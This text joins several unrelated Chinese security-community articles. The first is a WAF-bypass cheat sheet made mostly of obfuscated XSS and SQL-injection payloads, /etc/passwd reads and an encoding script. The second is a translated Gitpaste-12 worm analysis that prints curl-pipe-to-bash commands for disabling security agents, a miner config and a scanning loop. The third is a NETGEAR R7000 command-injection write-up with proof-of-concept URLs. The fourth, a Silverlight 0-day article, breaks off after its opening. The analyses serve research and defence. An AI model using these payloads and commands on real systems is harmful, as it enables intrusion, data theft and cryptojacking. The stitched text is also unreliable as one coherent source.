**混淆** : `/bi'n'''/c''at' /e'tc'/pa''ss'wd`
> Bash allows path concatenation for execution.
**标准** : `<iframe/onload='this["src"]="javascript:alert()"';>`
**混淆** :
`<iframe/onload='this["src"]="jav"+"as	cr"+"ipt:al"+"er"+"t()"';>`
**9\. 垃圾字符**
* Normal payloads get filtered out easily.
* Adding some junk chars helps avoid detection (specific cases only).
* They often help in confusing regex based firewalls.
**标准** : `<script>alert()</script>`
**混淆** : `<script>+-+-1-+-+alert(1)</script>`
**标准** : `<BODY onload=alert()>`
**混淆** : `<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert()>`
> **NOTE:** 上述语句可能会破坏正则的匹配，达到绕过。
**标准** : `<a href=javascript;alert()>ClickMe`
**Bypassed** : `<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa
href=javascript:alert(1)>ClickMe`
**10\. 插入换行符**
* 部分waf可能会对换行符没有匹配
**标准** : `<iframe src=javascript:confirm(0)">`
**混淆** : `<iframe
src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(0)">`
**11\. 未定义变量**
* bash 和 perl 执行脚本中加入未定义变量，干扰正则。
> **TIP:** 随便写个不存在的变量就好。`$aaaa,$sdayuhjbsad,$dad2ed`都可以。
* **Level 1 Obfuscation** : Normal
**标准** : `/bin/cat /etc/passwd`
**混淆** : `/bin/cat$u /etc/passwd$u`
* **Level 2 Obfuscation** : Postion Based
**标准** : `/bin/cat /etc/passwd`
**混淆** : `$u/bin$u/cat$u $u/etc$u/passwd$u`
* **Level 3 Obfuscation** : Random characters
**标准** : `/bin/cat /etc/passwd`
**混淆** : `$aaaaaa/bin$bbbbbb/cat$ccccccc $dddddd/etc$eeeeeee/passwd$fffffff`
一个精心制作的payload
$sdijchkd/???$sdjhskdjh/??t$skdjfnskdj $sdofhsdhjs/???$osdihdhsdj/??ss??$skdjhsiudf
**12\. Tab 键和换行符**
* 大多数waf匹配的是空格不是Tab
**标准** : `<IMG SRC="javascript:alert();">`
**Bypassed** : `<IMG SRC=" javascript:alert();">`
**变形** : `<IMG SRC=" jav ascri pt:alert ();">`
**标准** : `http://test.com/test?id=1 union select 1,2,3`
**标准** : `http://test.com/test?id=1%09union%23%0A%0Dselect%2D%2D%0A%0D1,2,3`
**标准** : `<iframe src=javascript:alert(1)></iframe>`
**混淆** :
<iframe src=j a v a s c r i p t :a l e r t %28 1 %29></iframe>
**13\. Token Breakers(翻译不了 看起来说的就是sql注入闭合)**
* Attacks on tokenizers attempt to break the logic of splitting a request into tokens with the help of token breakers.
* Token breakers are symbols that allow affecting the correspondence between an element of a string and a certain token, and thus bypass search by signature.
* However, the request must still remain valid while using token-breakers.
* **Case** : Unknown Token for the Tokenizer
* **Payload** : `?id=‘-sqlite_version() UNION SELECT password FROM users --`
* **Case** : Unknown Context for the Parser (Notice the uncontexted bracket)
* **Payload 1** : `?id=123);DROP TABLE users --`
* **Payload 2** : `?id=1337) INTO OUTFILE ‘xxx’ --`
> **TIP:** 更多payload可以看这里 [cheat sheet](https://github.com/attackercan/cpp-> sql-fuzzer).
**14\. 其他格式混淆**
* 许多web应用程序支持不同的编码类型(如下表)
* 混淆成服务器可解析、waf不可解析的编码类型
**Case:** IIS
* IIS6, 7.5, 8 and 10 (ASPX v4.x) 允许 **IBM037** 字符
* 可以发送编码后的参数名和值
原始请求:
POST /sample.aspx?id1=something HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Content-Length: 41
id2='union all select * from users--
混淆请求 + URL Encoding:
POST /sample.aspx?%89%84%F1=%A2%96%94%85%A3%88%89%95%87 HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=ibm037
Content-Length: 115
%89%84%F2=%7D%A4%95%89%96%95%40%81%93%93%40%A2%85%93%85%83%A3%40%5C%40%86%99%96%94%40%A4%A2%85%99%A2%60%60
The following table shows the support of different character encodings on the
tested systems (when messages could be 混淆 using them):
> **TIP:** 可以使用 [这个小脚本](https://github.com/0xInfection/Awesome-> WAF/blob/master/others/obfu.py) 来转化编码
import urllib.parse, sys
from argparse import ArgumentParser
lackofart = '''
OBFUSCATOR
'''
def paramEncode(params="", charset="", encodeEqualSign=False, encodeAmpersand=False, urlDecodeInput=True, urlEncodeOutput=True):
result = ""
equalSign = "="
ampersand = "&"
if '=' and '&' in params:
if encodeEqualSign:
equalSign = equalSign.encode(charset)
if encodeAmpersand:
ampersand = ampersand.encode(charset)
params_list = params.split("&")
for param_pair in params_list:
param, value = param_pair.split("=")
if urlDecodeInput:
param = urllib.parse.unquote(param)
value = urllib.parse.unquote(value)
param = param.encode(charset)
value = value.encode(charset)
if urlEncodeOutput:
param = urllib.parse.quote_plus(param)
value = urllib.parse.quote_plus(value)
if result:
result += ampersand
result += param + equalSign + value
else:
if urlDecodeInput:
params = urllib.parse.unquote(params)
result = params.encode(charset)
if urlEncodeOutput:
result = urllib.parse.quote_plus(result)
return result
def main():
print(lackofart)
parser = ArgumentParser('python3 obfu.py')
parser._action_groups.pop()
# A simple hack to have required arguments and optional arguments separately
required = parser.add_argument_group('Required Arguments')
optional = parser.add_argument_group('Optional Arguments')
# Required Options
required.add_argument('-s', '--str', help='String to obfuscate', dest='str')
required.add_argument('-e', '--enc', help='Encoding type. eg: ibm037, utf16, etc', dest='enc')
# Optional Arguments (main stuff and necessary)
optional.add_argument('-ueo', help='URL Encode Output', dest='ueo', action='store_true')
optional.add_argument('-udi', help='URL Decode Input', dest='udi', action='store_true')
args = parser.parse_args()
if not len(sys.argv) > 1:
parser.print_help()
quit()
print('Input: %s' % (args.str))
print('Output: %s' % (paramEncode(params=args.str, charset=args.enc, urlDecodeInput=args.udi, urlEncodeOutput=args.ueo)))
if __name__ == '__main__':
main()
服务器信息 | 可用编码 | 说明
---|---|---
Nginx, uWSGI-Django-Python3 | IBM037, IBM500, cp875, IBM1026, IBM273 |
对参数名和参数值进行编码
服务器会对参数名和参数值均进行url解码
需要对等号和& and进行编码(不进行url编码)
Nginx, uWSGI-Django-Python2 | IBM037, IBM500, cp875, IBM1026, utf-16, utf-32,
utf-32BE, IBM424 | 对参数名和参数值进行便慢慢
服务器会对参数名和参数值均进行url解码
等号和&符号不应该以任何方式编码。
Apache-TOMCAT8-JVM1.8-JSP | IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140,
IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147,
IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280,
IBM284, IBM285, IBM290, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025 |
参数名按原始格式(可以像往常一样使用url编码)
Body 不论是否经过url编码均可
等号和&符号不应该以任何方式编码
Apache-TOMCAT7-JVM1.6-JSP | IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140,
IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147,
IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280,
IBM284, IBM285, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025 |
参数名按原始格式(可以像往常一样使用url编码)
Body 不论是否经过url编码均可
等号和&符号不应该以任何方式编码
IIS6, 7.5, 8, 10 -ASPX (v4.x) | IBM037, IBM500, IBM870, cp875, IBM1026,
IBM01047, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145,
IBM01146, IBM01147, IBM01148, IBM01149, utf-16, unicodeFFFE, utf-32, utf-32BE,
IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420,IBM423,
IBM424, x-EBCDIC-KoreanExtended, IBM-Thai, IBM871, IBM880, IBM905, IBM00924,
cp1025 | 参数名按原始格式(可以像往常一样使用url编码)
Body 不论是否经过url编码均可
等号和&符号不应该以任何方式编码
### HTTP 参数污染
#### 手法
* 这种攻击方法基于服务器如何解释具有相同名称的参数
* 可能造成bypass的情况:
* 服务器使用最后接收到的参数，WAF只检查第一个参数
* 服务器将来自类似参数的值联合起来，WAF单独检查它们
下面是相关服务器对参数解释的比较
环境 | 参数解析 | 示例
---|---|---
ASP/IIS | 用逗号连接 | par1=val1,val2
JSP, Servlet/Apache Tomcat | 第一个参数是结果 | par1=val1
ASP.NET/IIS | 用逗号连接 | par1=val1,val2
PHP/Zeus | 最后一个参数是结果 | par1=val2
PHP/Apache | 最后一个参数是结果 | par1=val2
JSP, Servlet/Jetty | 第一个参数是结果 | par1=val1
IBM Lotus Domino | 第一个参数是结果 | par1=val1
IBM HTTP Server | 最后一个参数是结果 | par1=val2
mod_perl, libapeq2/Apache | 第一个参数是结果 | par1=val1
Oracle Application Server 10G | 第一个参数是结果 | par1=val1
Perl CGI/Apache | 第一个参数是结果 | par1=val1
Python/Zope | 第一个参数是结果 | par1=val1
IceWarp | 返回一个列表 | ['val1','val2']
AXIS 2400 | 最后一个参数是结果 | par1=val2
DBMan | 由两个波浪号连接起来 | par1=val1~~val2
mod-wsgi (Python)/Apache | 返回一个列表 | ARRAY(0x8b9058c)
### 浏览器 Bugs:
#### Charset Bugs:
* 可以尝试 修改 charset header to 更高的 Unicode (eg. UTF-32)
* 当网站解码的时候，触发payload
Example request:
GET /page.php?p=∀㸀㰀script㸀alert(1)㰀/script㸀 HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
Accept-Charset:utf-32; q=0.5<
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
当站点加载时，将其编码为我们设置的UTF-32编码，然后由于页面的输出编码为UTF-8，将其呈现为:`"<script>alert (1) </
script>` 从而触发xss
完整url编码后的 payload:
%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80
#### Null 空字节
* 空字节通常用作字符串终止符
Payload 示例:
<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
**标准** : `<a href="javascript:alert()">`
**混淆** : `<a href="ja0x09vas0x0A0x0Dcript:alert(1)">clickme</a>`
**变形** : `<a 0x00 href="javascript:alert(1)">clickme</a>`
#### 解析错误
* RFC 声明节点名不可以由空白起始
* 但是我们可以使用特殊字符 `%`, `//`, `!`, `?`, etc.
例子:
* `<// style=x:expression\28write(1)\29>` \- Works upto IE7 _([Source](http://html5sec.org/#71))_
* `<!--[if]><script>alert(1)</script -->` \- Works upto IE9 _([Reference](http://html5sec.org/#115))_
* `<?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/>` \- Works in IE7 _([Reference](http://html5sec.org/#77))_
* `<%div%20style=xss:expression(prompt(1))>` \- Works Upto IE7
#### Unicode 分隔符
* 每个浏览器有不同的分隔分隔符
[@Masato Kinugawa](https://github.com/masatokinugawa)fuzz 后发现如下
* IExplorer: `0x09`, `0x0B`, `0x0C`, `0x20`, `0x3B`
* Chrome: `0x09`, `0x20`, `0x28`, `0x2C`, `0x3B`
* Safari: `0x2C`, `0x3B`
* FireFox: `0x09`, `0x20`, `0x28`, `0x2C`, `0x3B`
* Opera: `0x09`, `0x20`, `0x2C`, `0x3B`
* Android: `0x09`, `0x20`, `0x28`, `0x2C`, `0x3B`
示例
<a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>pwn3d
### 使用其他非典型等效语法结构替换
* 找的waf开发人员没有注意到的语句进行攻击
一些WAF开发人员忽略的常见关键字:
* JavaScript functions:
* `window`
* `parent`
* `this`
* `self`
* Tag attributes:
* `onwheel`
* `ontoggle`
* `onfilterchange`
* `onbeforescriptexecute`
* `ondragstart`
* `onauxclick`
* `onpointerover`
* `srcdoc`
* SQL Operators
* `lpad`
lpad( string, padded_length, [ pad_string ] ) lpad函数从左边对字符串使用指定的字符进行填充
lpad('tech', 7); 将返回' tech'
lpad('tech', 2); 将返回'te'
lpad('tech', 8, '0'); 将返回'0000tech'
lpad('tech on the net', 15, 'z'); 将返回'tech on the net'
lpad('tech on the net', 16, 'z'); 将返回'ztech on the net
* `field`
FIELD(str,str1,str2,str3,...)
返回的索引（从1开始的位置）的str在str1，str2，STR3，...列表中。如果str没有找到，则返回0。
+---------------------------------------------------------+
| FIELD('ej', 'Hej', 'ej', 'Heja', 'hej', 'foo') |
+---------------------------------------------------------+
| 2 |
+---------------------------------------------------------+
* `bit_count` 二进制数中包含1的个数。 BIT_COUNT(10);因为10转成二进制是1010，所以该结果就是2
示例payloads:
* **Case:** XSS
<script>window['alert'](0)</script>
<script>parent['alert'](1)</script>
<script>self['alert'](2)</script>
* **Case:** SQLi
SELECT if(LPAD(' ',4,version())='5.7',sleep(5),null);
1%0b||%0bLPAD(USER,7,1)
可以使用许多替代原生JavaScript的方法:
* [JSFuck](http://www.jsfuck.com/)
* [JJEncode](http://utf-8.jp/public/jjencode.html)
* [XChars.JS](https://syllab.fr/projets/experiments/xcharsjs/5chars.pipeline.html)
### 滥用SSL/TLS密码:
* 很多时候，服务器可以接收各种SSL/TLS密码和版本的连接。
* 初始化到waf不支持的版本
* 找出waf支持的密码(通常WAF供应商文档对此进行了讨论)。
* 找出服务器支持的密码([SSLScan](https://github.com/rbsec/sslscan)这种工具可以帮助到你)。
* 找出服务器支持但waf不支持的
> **Tool** : [abuse-ssl-bypass-waf](https://github.com/LandGrey/abuse-ssl-> bypass-waf)
### 滥用 DNS 记录:
* 找到云waf后的源站
> **TIP:** 一些在线资源 [IP History](http://www.iphistory.ch/en/) 和 [DNS
> Trails](https://securitytrails.com/dns-trails)
**Tool** : [bypass-firewalls-by-DNS-history](https://github.com/vincentcox/bypass-firewalls-by-DNS-history)
bash bypass-firewalls-by-DNS-history.sh -d <target> --checkall
### 请求头欺骗
* 让waf以为请求来自于内部网络，进而不对其进行过滤。
添加如下请求头
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1
### Google Dorks Approach:
* 应对已知waf的绕过
#### 搜索语法
* Normal search:
`+<wafname> waf bypass`
* Searching for specific version exploits:
`"<wafname> <version>" (bypass|exploit)`
* For specific type bypass exploits:
`"<wafname>" +<bypass type> (bypass|exploit)`
* On [Exploit DB](https://exploit-db.com):
`site:exploit-db.com +<wafname> bypass`
* On [0Day Inject0r DB](https://0day.today):
`site:0day.today +<wafname> <type> (bypass|exploit)`
* On [Twitter](https://twitter.com):
`site:twitter.com +<wafname> bypass`
* On [Pastebin](https://pastebin.com)
`site:pastebin.com +<wafname> bypass` | 社区文章 |
**原文链接：<https://blogs.juniper.net/en-us/threat-research/gitpaste-12>**
**译者：知道创宇404实验室翻译组**
### 前言
Gitpaste-12是Juniper Threat
Labs最近发现的一种新蠕虫，它使用GitHub和Pastebin来存储组件代码，并且至少提供12种不同的攻击模块。
目前，该恶意软件正在开发中，它的目标是基于Linux的x86服务器，以及基于Linux ARM和MIPS的物联网设备。
Juniper实验室于2020年10月15日检测到第一次Gitpasse-12攻击。我们已经报告了有关的Pastebin URL和git repo，git
repo于2020年10月30日关闭。这或许能够阻止僵尸网络的扩散。
发现时使用的GitHub存储库如下： <https://github[.]com/cnmnmsl-001/->
### Gitspaste-12攻击过程
攻击的第一阶段是初始的系统破坏。这个蠕虫有12个已知的攻击模块，还有更多的正在开发中。该蠕虫将尝试使用已知的漏洞来危害系统，还可能尝试暴力破解密码。
在危害系统后，恶意软件立即设置一个从Pastebin下载的cron任务，Pastebin反过来调用相同的脚本，并每分钟再次执行一次。这可能是将cron任务的更新推送到僵尸网络的一种机制。
攻击过程中上传到受害者机器的主shell脚本开始下载并执行Gitpasse-12的其他组件。
首先，它下载并设置cron任务，它定期从Pastebin下载并执行脚本：
接下来，它从GitHub（<https://raw.githubusercontent[.]com/cnmnmsl-001/-/master/shadu1>）下载并执行它。
恶意软件从环境开始，剥离系统的防御系统，包括防火墙规则、selinux、apparmor以及常见的攻击预防和监视软件。
如上所述，shadu1脚本包含中文注释，攻击者可以使用多个命令来禁用不同的安全功能。下面的例子中有一些禁用云安全代理的命令，这清楚地表明攻击者打算针对阿里云和腾讯提供的公共云计算基础架构。
这些命令的示例包括：
curl http://update.aegis.aliyun.com/download/uninstall.sh | bash
curl http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
/usr/local/qcloud/stargate/admin/uninstall.sh
/usr/local/qcloud/YunJing/uninst.sh
/usr/local/qcloud/monitor/barad/admin/uninstall.sh
使用以下配置为monero加密货币运行miner的能力证明了另一种功能：
{ “background”: true, “log-file”: null, “access-log-file”: null, “retries”: 50, “retry-pause”: 5, “donate-level”: 2, “coin”: “xmr”, “custom-diff”: 0, “syslog”: false, “verbose”: false, “colors”: true, “workers”: true, “pools”: [ { “url”: “donate.v2.xmrig.com:5555”, “user”: “41qALJpqLhUNCHZTMSMQyf4LQotae9MZnb4u53JzqvHEWyc2i8PEFUCZ4TGL9AGU34ihPU8QGbRzc4FB2nHMsVeMHaYkxus”, “pass”: “x” } ], “bind”: [ “0.0.0.0:12388” ], “api”: { “port”: 0, “access-token”: null, “worker-id”: null }}
Gitpaste-12恶意软件包含hide.so库，并作为LD_PRELOAD加载。Hide.so更新了crontab文件以下载并执行https://pastebin[.]com/raw/Tg5FQHhf。它还通过拦截“readdir”系统调用并跳过“/
proc”中tcpdump，sudo，openssl等进程的目录来防止管理员收集有关正在运行的进程的信息。Linux中的“/
proc”目录包含有关正在运行的进程的信息。例如，“ps”命令使用它来显示有关正在运行的进程的信息。但不幸的是，对于攻击者，此实现未能达到他们预期的目标。
### 蠕动能力
Gitspaste-12恶意软件还包含一个脚本，该脚本会对其他计算机发起攻击，试图复制和传播。它选择一个随机/8
CIDR进行攻击，并将尝试该范围内的所有地址，如以下调用所示：
while true;do awk -va=\$((\$RANDOM%128)) ‘BEGIN{for(b=0;256>b;b++) for(c=0;256>c;c++) for(d=0;256>d;d++) system(\”./sh \”a\”.\”d\”.\”c\”.\”b\”
在这里，我们可以看到蠕虫试图传播：
该脚本的另一个版本还为反向Shell命令打开了端口30004和30005：
### 漏洞利用
Gitpaste-12使用11个漏洞和telnet暴力破解者进行传播。已知漏洞包括：
### 结论
Gitspaste-12以自动方式传播的能力可能会导致组织内部的横向传播，或者导致主机感染其他网络，从而影响声誉。
### IOCs
一些受损系统的TCP端口30004和30005打开。
Miner: | e67f78c479857ed8c562e576dcc9a8471c5f1ab4c00bb557b1b9c2d9284b8af9
---|---
hide.so: | ed4868ba445469abfa3cfc6c70e8fdd36a4345c21a3f451c7b65d6041fb8492b
Miner config: |
bd5e9fd8215f80ca49c142383ba7dbf7e24aaf895ae25af96bdab89c0bdcc3f1
Shell script: |
5d1705f02cde12c27b85a0104cd76a39994733a75fa6e1e5b014565ad63e7bc3
* * * | 社区文章 |
**Author:p0wd3r,dawu(知道创宇404安全实验室)**
**Data: 2016-12-13**
**更新于 12/16 :** 修正了原文中的一处错误，感谢 [@k0pwn](http://weibo.com/k0pwn)。
> 2016年12月7日，国外网站exploit-db上爆出一个关于NETGEAR
> R7000路由器的命令注入漏洞。一时间，各路人马开始忙碌起来。厂商忙于声明和修复，有些人忙于利用，而我们则在复现的过程中寻找漏洞的本质。
## 一.漏洞简介
### 1.漏洞简介
2016年12月7日，NETGEAR R7000路由器在exploit-db上被爆出存在远程命令执行漏洞，随着安全研究人员的不断深入，R8000和R6400这两款路由器也被证实有同样的问题。
2016年12月13日，NETGEAR官网上确认漏洞存在，对部分受影响的设备发出了`beta`版的固件补丁。
2016年12月14日，受影响的设备型号增加至11种。
### 2.漏洞影响
NETGEAR R6250 _NETGEAR R6400_ NETGEAR R6700 _NETGEAR R6900_ NETGEAR R7000
_NETGEAR R7100LG_ NETGEAR R7300DST _NETGEAR R7900_ NETGEAR R8000 _NETGEAR
D6220_ NETGEAR D6400*
## 二.漏洞复现与分析
### 1.漏洞复现
通过ZoomEye网络空间搜素引擎我们可以寻找此次受影响的设备的ip
curl -v "https://ip:port/cgi-bin/;echo$IFS"testt" --insecure
### 2.漏洞分析
#### ①灵感篇
此次漏洞分析的灵感源于小伙伴检测中发现的一个问题，让我们走了不少弯路，顺利定位到问题所在。 当我们执行`ps`命令时，出现了如下的结果：
很有意思的是，我们请求的url出现在了以`nobody`用户运行的进程里，这让我们可以根据关键词"sh
-c"和"/tmp/cgi_result"去定位关键代码的位置。
在漏洞分析的过程中，另一个小伙伴给出了一个[链接](https://www.exploit-db.com/exploits/9209/)，DD-WRT
HTTPd的远程命令执行。其中命令执行的部分如下，与本次漏洞很像。于是`HTTPD`就成了我们这次重点关注的对象。
从官网下载NETGEAR
R7000的[固件](http://support.netgear.cn/Upfilepath/R7000-V1.0.7.2_1.1.93.chk)并通过如下命令解开固件。
binwalk -eM R7000-V1.0.7.2_1.1.93.chk
解开固件之后我们寻找到了相关的文件`/usr/sbin/httpd`，确认与`cgi_result`有关之后，我们对`httpd`进行了逆向。
#### ②逆向篇
根据前文的介绍，我们通过搜索字符串，找到了对应的函数`sub_36C34`,F5看反编译的伪码，出现`cgi_result`这一字符串的地方如下：
if ( !strcmp((const char *)&v53, "POST") )
{
...
}
else if ( !strcmp((const char *)&v53, "OPTIONS") )
{
...
}
else
{
v36 = fopen("/tmp/cgi_result", "r");
if ( v36 )
{
fclose(v36);
system("rm -f /tmp/cgi_result");
if ( acosNvramConfig_match((int)&unk_F0378, (int)"2") )
puts("\r\n##########delete /tmp/cgi_result ############\r");
}
v33 = (const char *)&unk_F070F;
v34 = (char *)&v45;
}
sprintf(v34, v33, &v50);
system((const char *)&v45);
memset(&v49, 0, 0x40u);
可以看到`else`里的逻辑是先判断`/tmp/cgi_result`这一文件是否存在，存在则删除该文件，`v33`为`unk_F070F`的地址值，`unk_F070F`的值为`/www/cgi-bin/%s > /tmp/cgi_result`，`v34`为`v45`的地址值。继续向下，可以看到v50替换了v33中的 %s
并赋值给了v34。v50具体是什么我们暂时不清楚。然后再使用`system()` 函数执行v45对应的值，也就是前面v34的值。
。据此推断，此处应该就是命令执行的触发点了。我们开始向上溯源。 首先，我们先看一下sub_36C34函数的几个参数的内容
int __fastcall sub_36C34(const char *a1, int a2, const char *a3, int a4)
根据其中的代码内容以及写入的文件`/tmp/post_data.txt`可知，`a1`为`POST`数据包的`body`部分，`a3`可能为`url`，`a4`为一个整数，用于判断是否为`POST`的数据包
查看`xrefs graph to`生成的调用图:
我们从main函数开始看起，main函数直接调用了sub_147A0函数
sub_147A0函数中如此调用了sub_100A0函数
sub_100A0(&s1, a105, (int)&a87, dword_F217F8);
其中`s1`为`http`报文内容，`a105`为s1的地址值。
在sub_100A0函数中，`POST`数据交给`sub_19600`函数处理，`GET`数据交给`sub_19B3C`函数处理，还有一些其它情况交给`sub_1A1C0`函数处理，再交给`sub_19B3C`处理。我们跟了调用sub_19600函数的一些关键过程。
int __fastcall sub_100A0(char *a1, const char *a2, int a3, int a4)
{
char *v9; // r4@5
const char *v10; // r3@6
int v11; // r7@6
bool v12; // zf@6
...
s1 = a1;
v9 = (int)s1;
...
do
{
v10 = (unsigned __int8)*v9;
v11 = v9++;
v12 = v10 == 0;
if ( v10 )
v12 = v10 == 32;
}
while ( !v12 );
//移动到HTTP报文第一个空格的位置
...
LABEL_27:
if ( *(_BYTE *)(v11 + 1) == 47 )
++v9;
//移动到HTTP报文中/的位置
..
return (int)sub_19600((const char *)v9, v248, v4);
}
可以看到，sub_19600函数将指针移动到HTTP报文中第一个`/`的位置，也就是网站路径的位置，然后通过调用LABEL_27:就可以获取网站的目录。这样获取到的内容就是最初始的内容被传递到了下一个函数
sub_19600。
char *__fastcall sub_19600(const char *a1, const char *a2, int a3)
{
const char *v3; // r6@1
const char *v4; // r4@1
int v5; // r5@1
char *result; // r0@1
v3 = a2;
v4 = a1;
v5 = a3;
result = strstr(a1, "cgi-bin");
if ( result )
{
if ( acosNvramConfig_match((int)"cgi_debug_msg", (int)"1") )
printf("\r\n##########%s(%d)url=%s\r\n", "handle_options", 1293, v4);
result = (char *)sub_36C34(v3, v5, v4, 2);
}
return result;
}
`sub_19600`函数没有做任何处理，就直接将获取到的路径传递到了`sub_36C34`。
int __fastcall sub_36C34(const char *a1, int a2, const char *a3, int a4)
{
v6 = a3;
v12 = strstr(v6, "cgi-bin");
if(v12)
{
...
memset(&v50, 0, 0x40u);//给V50分配了64字节的空间，故我们可执行命令的最大长度为64字节
...
}
else
{
if ( v24 )
{
if ( v22 )
v25 = 0;
else
v25 = v23 & 1;
if ( v25 )
strcpy((char *)&v50, v20);
}
else
{
strncpy((char *)&v50, v20, v22 - 1 - v21);
}
}
...
...
...
if ( !strcmp((const char *)&v53, "POST") )
{
...
}
else if ( !strcmp((const char *)&v53, "OPTIONS") )
{
...
}
else
{
v36 = fopen("/tmp/cgi_result", "r");
if ( v36 )
{
fclose(v36);
system("rm -f /tmp/cgi_result");
if ( acosNvramConfig_match((int)&unk_F0378, (int)"2") )
puts("\r\n##########delete /tmp/cgi_result ############\r");
}
v33 = (const char *)&unk_F070F;
v34 = (char *)&v45;
}
sprintf(v34, v33, &v50);
system((const char *)&v45);
memset(&v49, 0, 0x40u);
}
在`sub_36C34`函数中，会检测`url`中是否含有`cgi-bin`，如果含有，则进行一系列分割操作，并将`cgi-bin`后面的值赋给`v50`，而参数v50则正如我们之前分析的那样，替换了v33中的 %s 之后赋值给v34并被 `system()`
函数执行，造成了命令执行漏洞。
之后我们继续跟了`sub_19B3C`和`sub_1A1C0`这两个函数，发现最终也跟`sub_19600`函数殊途同归。不过是因为`HTTP`请求的不同(`POST`和`OPTIONS`)而导致不同的函数去处理罢了。
### ③固件对比篇
2016年11月13日，`NETGEAR`在其官网发布了新的`beta`[固件](http://www.downloads.netgear.com/files/GDC/R7000/R7000-V1.0.7.6_1.1.99.chk)，我们对其进行了更进。
按照上文同样的方法，我们对`httpd`进行了逆向，`xrefs`图如下:
整体函数没有太大变化，让我们来看一下具体细节上的变化。
一路跟下来，在`sub_14958`，`sub_100A0`和`sub_197B8`这些函数中都没有看到对`url`进行处理，在`sub_36EB4`中我们发现官方对其进行了过滤。
int __fastcall sub_36EB4(const char *a1, int a2, const char *a3, int a4)
{
const char *v6; // r4@1
...
v6 = a3;
if ( !strchr(a3, 59) && !strchr(v6, 96) && !strchr(v6, 36) && !strstr(v6, "..") )
//ascii对照表:59=>； 96=>` 36=>$
{
...
}
}
我们可以看到，官方的beta固件过滤了`; \ $`和`..`，但是我们依旧可能可以绕过这些过滤执行命令，例如`||`(未测试)。
至于官方后续的更新，我们会继续更进。 如有错误，欢迎指正:)
## 三.漏洞影响
下图为ZoomEye网络空间搜素引擎上最早曝光的受影响设备R7000,R8000和R6400的全球分布情况。
事实上，还有很多内网的设备我们无法探测，对于这些内网设备，通过`csrf`攻击仍然可以威胁到内网的安全。这里提供一个以往的案例供大家参考:
http://www.2cto.com/article/201311/254364.html
。由于本次漏洞可以执行任意命令，故威胁远比案例中修改`dns`要大，希望可以引起大家的重视。
## 四.修复建议
目前官方仅推出了beta版的补丁，可以根据官网的提示刷新固件 由于新版本beta固件可能还存在一定的安全问题，我们仍然建议关闭路由器远程管理页面。
对比之前受影响的设备，如果不能进入管理界面，也可以通过下列`url`关闭。
http(s)://ip:port/cgi-bin/;killall$IFS’httpd’
## 五.参考链接
1.https://www.seebug.org/vuldb/ssvid-92571 2.https://www.exploit-db.com/exploits/40889/ 3.http://kb.netgear.com/000036386/CVE-2016-582384
4.http://www.kb.cert.org/vuls/id/582384
5.https://github.com/rapid7/metasploit-framework/issues/7698
6.http://www.freebuf.com/news/122596.html
* * * | 社区文章 |
# 神秘的CVE-2016-0034－微软Silverlight的0 day漏洞
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://securelist.com/blog/research/73255/the-mysterious-case-of-cve-2016-0034-the-hunt-for-a-microsoft-silverlight-0-day/>
译文仅供参考，具体内容表达以及含义原文为准。
[**Hacking Team**](http://www.wired.com/2015/07/hacking-team-breach-shows-global-spying-firm-run-amok/)
**（一家臭名昭著的意大利间谍软件公司）的数据泄漏事件也许是2015年最热门的讨论话题之一了。**
可能有些人并不了解这件事情的具体信息，在此我先给大家简要介绍一下。Hacking
Team成立于2013年，该公司专门向政府以及执法机构销售间谍软件和监视工具。2015年7月5日，该公司中存储的大量数据被曝光在了互联网上，而声称对此次数据泄漏事件负责的人是一位名为“Phineas
Fisher”的黑客。在此之前，“Phineas Fisher”曾对Gamma国际（另一家专门出售间谍软件和间谍工具的英国公司）进行过类似的攻击。
媒体机构曾从很多不同的角度对Hacking Team的入侵事件进行过分析和报道，例如向敌对国政府出售间谍软件，以及监视工具的质量问题等。
其中有一件事情吸引了我们的注意力：有一名俄罗斯黑客将一个Flash 0 day漏洞出售给了Hacking Team，并得到了四万五千美元的“奖励”。
2015年7月10日，Cyrus Farivar曾为Ars
Technica撰写过一篇非常有意思的文章，建议广大读者阅读[这篇文章](http://arstechnica.com/security/2015/07/how-a-russian-hacker-made-45000-selling-a-zero-day-flash-exploit-to-hacking-team/)。这篇文章讲述的是Vitaliy Toropov的故事，Vitaliy
Toropov今年33岁，是一名来自俄罗斯莫斯科的漏洞开发人员，他的工作就是向类似Hacking Team的公司出售0 day漏洞，并以此谋生。
在Ars Technica发表的这篇文章中，Cyrus写了下列这段话，这也给大家展示了漏洞开发者是如何出售这些0 day漏洞的：
